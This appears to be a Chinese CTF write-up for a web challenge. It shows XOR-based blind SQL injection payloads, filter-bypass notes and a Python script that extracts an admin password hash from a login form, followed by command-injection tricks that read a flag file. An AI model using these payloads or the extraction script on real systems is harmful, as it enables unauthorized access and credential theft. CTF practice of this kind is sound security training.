0x00 方法一
输入admin
,密码随便填,得到:password error!!@_@
输入admin'
,密码随便填,得到:username error!!@_@
输入admin'^'1'^'1
,密码随便填,得到:password error!!@_@
输入admin'^'0'^'1
,密码随便填,得到:username error!!@_@
搂一遍可用的字符串/函数,经测试ascii
、substr
、括号
、select
、下划线
、=
这些都可以用。此外,过滤了逗号
、for
、*
、ord
、or
、+
、union
、information
等。
写脚本,判断第一位的ascii:
admin'^(ascii(substr(database()from(1)))>13)^'1
回显password error!!@_@,说明库名的第一个字符的ascii大于13
admin'^(ascii(substr(database()from(1)))>13)^'1
回显username error!!@_@,说明库名的第一个字符的ascii小于123
同理,写脚本拿到密码的md5值:
import requests url='http://114.67.246.176:15783/login.php' flag="" for j in range(1,50): for i in range(32,128): payload = "admin'^(ascii(substr((select(passwd)from(admin))from("+str(j)+")))="+str(i)+")^'1" data = { "uname": payload, "passwd": "123" } test = requests.post(url=url,data=data).text if 'password' in test: flag += chr(i) print(flag) break

把得到的内容用somd5进行解密,得到bugkuctf,成功登入。
来到了命令执行页面,可以使用{cmd,arg}
的方式查看根目录,我这里在本地试了下:

还可以把空格+flag
注册成变量去执行:

或者最简单的= =,,cat</flag
0x01 方法二
题目给了提示,在/images目录下有这样一张图:

根据图片可知,''=0
即空字符串和0进行比较,字符串在比较时转化为0,返回真。
因为还要闭合后面的引号,所以构造'=0-'
(即''=0-''
)
输入'=0-'
,密码随便填,得到:password error!!@_@
输入'=1-'
,密码随便填,得到:username error!!@_@
剩下同上。
⚪参考:https://blog.csdn.net/qq_41209264/article/details/112257878